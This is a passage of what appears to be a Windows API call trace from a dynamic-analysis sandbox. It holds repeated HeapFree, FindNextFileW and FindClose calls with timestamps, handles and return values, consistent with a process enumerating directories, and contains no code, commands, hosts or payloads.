hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.583] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.597] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.597] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.615] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.616] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.619] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.619] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0 [0131.619] FindClose (in: hFindFile=0x3e5bed8 | out: hFindFile=0x3e5bed8) returned 1 [0131.619] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0131.619] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 0 [0131.619] FindClose (in: hFindFile=0x3e5bcd8 | out: hFindFile=0x3e5bcd8) returned 1 [0131.619] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x452ef40 | out: hHeap=0x510000) returned 1 [0131.619] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0131.623] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x452ef40 | out: hHeap=0x510000) returned 1 [0131.623] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0131.668] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0131.668] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0131.670] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0131.670] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0131.674] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0131.674] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0131.677] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0131.677] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0131.792] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.403] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.405] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.405] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.406] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.406] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.407] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.408] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.409] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.409] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.409] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.409] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.412] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.412] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.414] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.414] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.417] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.417] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.419] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.419] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.422] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.422] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.424] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.424] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.429] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.429] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.432] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.432] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.434] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.434] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.436] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.436] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.439] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.439] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.442] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.442] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.444] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.444] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.488] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.488] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.490] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.490] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.492] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.492] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.494] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.495] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.497] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.497] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.499] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.499] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.501] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.501] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.504] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.504] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.506] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.506] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.508] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.508] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.511] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.511] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.513] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.513] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.516] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.516] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.518] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.518] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.520] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.520] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.522] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.523] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.738] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.738] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.741] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.741] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.745] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.745] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.749] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.749] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.751] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef48 | out: hHeap=0x510000) returned 1 [0132.751] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 0 [0132.751] FindClose (in: hFindFile=0x3e5bcd8 | out: hFindFile=0x3e5bcd8) returned 1 [0132.751] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x452ef40 | out: hHeap=0x510000) returned 1 [0132.752] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0132.759] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0132.759] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.763] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0132.763] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.767] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0132.767] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.770] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0132.770] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.773] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0132.773] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.776] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0132.776] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.821] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0132.821] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.871] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0132.872] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.960] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0132.960] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.963] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0132.963] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.968] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0132.968] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.973] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0132.973] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.977] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0132.977] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.981] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0132.981] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.984] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0132.984] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.987] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0132.987] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.990] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0132.990] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.994] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0132.994] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0132.997] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0132.997] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0133.186] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.186] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0133.188] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.188] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0133.189] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.189] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0133.191] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.191] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0133.193] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.193] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0133.195] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.195] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0133.220] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.220] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0133.225] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.225] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0133.229] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.229] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0133.232] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.232] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0133.235] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.235] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0133.238] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.238] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0133.241] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.241] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0133.244] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.244] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.244] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.244] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.245] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.245] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.245] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.245] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.249] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.249] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.249] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.249] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.250] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.250] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.251] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.251] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.252] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.252] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.252] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.252] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.253] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.253] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.254] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.254] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.254] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.254] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.255] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.255] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.256] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.256] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.257] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.257] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.257] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.257] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.258] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.258] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.259] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.259] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.259] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.259] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.260] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.260] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.260] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.260] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.261] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.261] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.262] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.262] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.262] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.262] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.446] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.446] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.446] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.446] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | 